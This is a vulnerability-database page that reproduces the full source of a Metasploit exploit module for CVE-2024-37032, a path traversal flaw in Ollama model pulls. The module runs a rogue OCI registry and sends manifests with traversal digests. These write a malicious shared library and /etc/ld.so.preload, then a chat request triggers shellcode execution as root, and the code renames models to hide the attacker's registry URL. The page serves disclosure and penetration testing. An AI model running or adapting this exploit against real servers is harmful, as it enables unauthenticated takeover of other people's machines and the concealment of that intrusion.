Lucene search
K

📄 Ollama Model Registry Path Traversal / Remote Code Execution

🗓️ 25 Feb 2026 00:00:00Reported by Valentin Lobstein, Sagi TzadikType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 164 Views

Ollama before 0.1.34 allows path traversal in model pulls, enabling remote code execution via ld.so.preload.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Ollama
26 Jun 202403:11
githubexploit
ATTACKERKB
CVE-2024-37032
31 May 202404:15
attackerkb
Chainguard
CVE-2024-37032 vulnerabilities
31 May 202404:15
cgr
Circl
CVE-2024-37032
24 Jun 202415:59
circl
CNNVD
Ollama Security Breach
31 May 202400:00
cnnvd
CVE
CVE-2024-37032
31 May 202400:00
cve
Cvelist
CVE-2024-37032
31 May 202400:00
cvelist
Github Security Blog
Ollama does not validate the format of the digest (sha256 with 64 hex digits)
31 May 202406:30
github
Metasploit
Ollama Model Registry Path Traversal RCE
25 Feb 202619:00
metasploit
Nuclei
Ollama - Remote Code Execution
27 May 202600:33
nuclei
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      BLOB_CT = { 'Content-Type' => 'application/octet-stream' }.freeze
      JSON_CT = { 'Content-Type' => 'application/json' }.freeze
      MANIFEST_CT = { 'Content-Type' => 'application/vnd.docker.distribution.manifest.v2+json' }.freeze
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Ollama Model Registry Path Traversal RCE',
            'Description' => %q{
              Ollama before 0.1.34 is vulnerable to a path traversal attack via the
              model pull mechanism (CVE-2024-37032). When pulling a model, the digest
              field in OCI manifests is not validated, allowing an attacker to inject
              path traversal sequences to write arbitrary files on the server.
    
              This module starts a rogue OCI registry that serves two models. The first
              pull writes a malicious shared library and /etc/ld.so.preload via path
              traversal (a sacrificial first layer absorbs the digest verification
              failure so the remaining files persist). The second pull registers a valid
              model so /api/chat can spawn the llama.cpp runner process, which triggers
              the dynamic linker to load the malicious library via ld.so.preload. The
              library constructor forks, cleans up ld.so.preload, and executes the
              payload in the child process.
    
              The default Ollama Docker image runs as root with the API bound to
              0.0.0.0:11434, making this a direct unauthenticated RCE.
            },
            'Author' => [
              'Sagi Tzadik <sagitz[at]wiz.io>', # Wiz Research discovery
              'Valentin Lobstein <chocapikk[at]leakix.net>' # MSF module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2024-37032'],
              ['URL', 'https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032'],
              ['GHSA', 'v4cg-63r8-8fh8', 'ollama/ollama']
            ],
            'Platform' => %w[linux],
            'Arch' => [ARCH_X64],
            'Targets' => [
              ['Automatic', {}]
            ],
            'DefaultTarget' => 0,
            'Privileged' => true,
            'Stance' => Msf::Exploit::Stance::Aggressive,
            'DisclosureDate' => '2024-05-05',
            'AKA' => ['Probllama'],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options([
          Opt::RPORT(11434),
          OptString.new('TARGETURI', [true, 'Base path to Ollama API', '/']),
          OptString.new('WRITABLE_DIR', [true, 'Writable directory on target for payload files', '/tmp']),
          OptInt.new('DEPTH', [true, 'Traversal depth to reach the root filesystem', 14])
        ])
      end
    
      def check
        res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version'))
        return CheckCode::Unknown('No response from target') unless res&.code == 200
    
        version = res.get_json_document['version']
        return CheckCode::Unknown('Could not determine Ollama version') unless version
    
        return CheckCode::Safe("Ollama #{version} (patched)") unless Rex::Version.new(version) < Rex::Version.new('0.1.34')
    
        CheckCode::Appears("Ollama #{version} (vulnerable to path traversal)")
      end
    
      def exploit
        prepare_payloads
        prepare_trigger_model
        start_registry
    
        write_files_via_traversal
        register_trigger_model
        trigger_rce
      end
    
      private
    
      # ---- Payload preparation ----
    
      def prepare_payloads
        @evil_namespace = random_model_name
        @trigger_namespace = random_model_name
        @so_name = Rex::Text.rand_text_alpha(8) + '.so'
        @so_path = "#{datastore['WRITABLE_DIR']}/#{@so_name}"
        @so_blob = generate_payload_so
        @preload_blob = "#{@so_path}\n"
        @dummy_name = Rex::Text.rand_text_alpha(8)
        @dummy_blob = Rex::Text.rand_text_alpha(16)
      end
    
      def prepare_trigger_model
        family = Faker::Hacker.noun.downcase.gsub(/\W+/, '-')
        @trigger_config_blob = {
          'model_format' => 'gguf', 'model_family' => family,
          'model_families' => [family], 'model_type' => "#{rand(1..70)}B", 'file_type' => 'Q4_0'
        }.to_json
        @trigger_model_blob = minimal_gguf(family)
      end
    
      def random_model_name
        "#{Faker::Hacker.adjective}-#{Faker::Hacker.noun}".downcase.gsub(/\W+/, '-')
      end
    
      def generate_payload_so
        sc = payload.encoded
        sc_hex = sc.bytes.map { |b| '0x%02x' % b }.join(', ')
    
        c_code = <<~C
          extern int unlink(const char *);
          extern int fork(void);
          extern int setsid(void);
          extern void _exit(int);
          __attribute__((constructor))
          void init(void) {
            unlink("/etc/ld.so.preload");
            // Fork+setsid must happen here in the constructor, not via PrependFork,
            // so the runner process returns immediately and isn't blocked by the payload.
            // _exit instead of return: shellcode is inlined via asm("db"), so return
            // would fall through into it.
            if (fork() != 0) _exit(0);
            setsid();
            asm("db #{sc_hex}");
          }
        C
    
        Metasm::ELF.compile_c(Metasm::X86_64.new, c_code).encode_string(:lib)
      end
    
      def minimal_gguf(arch = 'llama')
        key = 'general.architecture'
        val = arch
        [
          'GGUF',                       # magic
          [3].pack('V'),                # version
          [0].pack('Q<'),               # tensor_count
          [1].pack('Q<'),               # metadata_kv_count
          [key.length].pack('Q<'), key, # key string
          [8].pack('V'),                # value type: STRING
          [val.length].pack('Q<'), val  # value string
        ].join
      end
    
      # ---- Registry server ----
    
      def start_registry
        start_service({ 'Uri' => { 'Proc' => method(:on_request_uri), 'Path' => '/' } })
        print_status("Rogue OCI registry on #{srvhost_addr}:#{datastore['SRVPORT']}")
      end
    
      def srvhost_addr
        datastore['SRVHOST']
      end
    
      def registry_model_name(namespace)
        "#{srvhost_addr}:#{datastore['SRVPORT']}/#{namespace}/model"
      end
    
      def on_request_uri(cli, request)
        uri = request.uri
        vprint_status("Registry: #{request.method} #{uri}")
    
        body, headers = resolve_blob(uri)
        send_response(cli, body, headers)
      end
    
      def resolve_blob(uri)
        return ['{}', JSON_CT] if uri =~ %r{/v2/?$}
        return [evil_manifest, MANIFEST_CT.merge('Docker-Content-Digest' => sha256_digest('{}'))] if uri.include?(@evil_namespace) && uri.include?('manifests')
        return [trigger_manifest, MANIFEST_CT.merge('Docker-Content-Digest' => sha256_digest(@trigger_config_blob))] if uri.include?(@trigger_namespace) && uri.include?('manifests')
    
        blob = find_blob(uri)
        return [blob, BLOB_CT] if blob
    
        ['{}', JSON_CT]
      end
    
      def find_blob(uri)
        blobs = {
          @so_name => @so_blob,
          'ld.so.preload' => @preload_blob,
          @dummy_name => @dummy_blob,
          sha256_digest(@trigger_model_blob).split(':')[1][0, 12] => @trigger_model_blob,
          sha256_digest(@trigger_config_blob).split(':')[1][0, 12] => @trigger_config_blob
        }
        blobs.each { |key, data| return data if uri.include?(key) }
        nil
      end
    
      # ---- Manifest builders ----
    
      def sha256_digest(content)
        "sha256:#{Digest::SHA256.hexdigest(content)}"
      end
    
      def traversal_digest(path)
        "#{'../' * datastore['DEPTH']}#{path.delete_prefix('/')}"
      end
    
      def oci_manifest(config_blob, layers)
        {
          'schemaVersion' => 2,
          'mediaType' => 'application/vnd.docker.distribution.manifest.v2+json',
          'config' => {
            'digest' => sha256_digest(config_blob),
            'mediaType' => 'application/vnd.docker.container.image.v1+json',
            'size' => config_blob.length
          },
          'layers' => layers
        }.to_json
      end
    
      def oci_layer(digest, size)
        { 'digest' => digest, 'mediaType' => 'application/vnd.ollama.image.model', 'size' => size }
      end
    
      def evil_manifest
        oci_manifest('{}', [
          oci_layer(traversal_digest("/tmp/#{@dummy_name}"), @dummy_blob.length),
          oci_layer(traversal_digest(@so_path), @so_blob.length),
          oci_layer(traversal_digest('/etc/ld.so.preload'), @preload_blob.length)
        ])
      end
    
      def trigger_manifest
        oci_manifest(@trigger_config_blob, [
          oci_layer(sha256_digest(@trigger_model_blob), @trigger_model_blob.length)
        ])
      end
    
      # ---- Exploit steps ----
    
      def pull_model(name)
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'pull'),
          'ctype' => 'application/json',
          'data' => { 'name' => name, 'insecure' => true }.to_json,
          'timeout' => 30
        )
      end
    
      def write_files_via_traversal
        model = registry_model_name(@evil_namespace)
        print_status("Pull 1: #{model} (path traversal write)")
    
        res = pull_model(model)
        fail_with(Failure::Unreachable, 'No response from target') unless res
    
        if res&.body && res.body.include?('completed')
          print_good('Payload .so and ld.so.preload written via path traversal')
        else
          print_warning('Unexpected pull response (files may still have been written)')
          vprint_status(res.body.slice(0, 500))
        end
    
        register_file_for_cleanup('/etc/ld.so.preload')
        register_file_for_cleanup(@so_path)
      end
    
      def register_trigger_model
        @trigger_alias = random_model_name
        remote_name = registry_model_name(@trigger_namespace)
        print_status("Pull 2: #{remote_name} (registering trigger model)")
    
        res = pull_model(remote_name)
        fail_with(Failure::Unreachable, 'No response from trigger pull') unless res
    
        if res.body.include?('success')
          print_good('Trigger model registered')
        else
          print_warning('Trigger pull returned unexpected response')
          vprint_status(res.body.slice(0, 500))
        end
    
        # Copy to a clean alias and delete the original to hide the attacker URL from /api/tags
        ollama_api('copy', { 'source' => remote_name, 'destination' => @trigger_alias })
        ollama_api('delete', { 'name' => remote_name }, 'DELETE')
        vprint_status("Model aliased to #{@trigger_alias}, original removed")
      end
    
      def trigger_rce
        print_status('Triggering RCE via /api/chat (spawning runner process)...')
    
        begin
          send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'api', 'chat'),
            'ctype' => 'application/json',
            'data' => { 'model' => @trigger_alias, 'messages' => [{ 'role' => 'user', 'content' => Rex::Text.rand_text_alpha(rand(2..6)) }] }.to_json
          )
        ensure
          ollama_api('delete', { 'name' => @trigger_alias }, 'DELETE')
          vprint_status("Trigger model #{@trigger_alias} deleted")
        end
      end
    
      def ollama_api(endpoint, body, method = 'POST')
        send_request_cgi(
          'method' => method,
          'uri' => normalize_uri(target_uri.path, 'api', endpoint),
          'ctype' => 'application/json',
          'data' => body.to_json,
          'timeout' => 10
        )
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Feb 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.18.8
EPSS0.93747
SSVC
164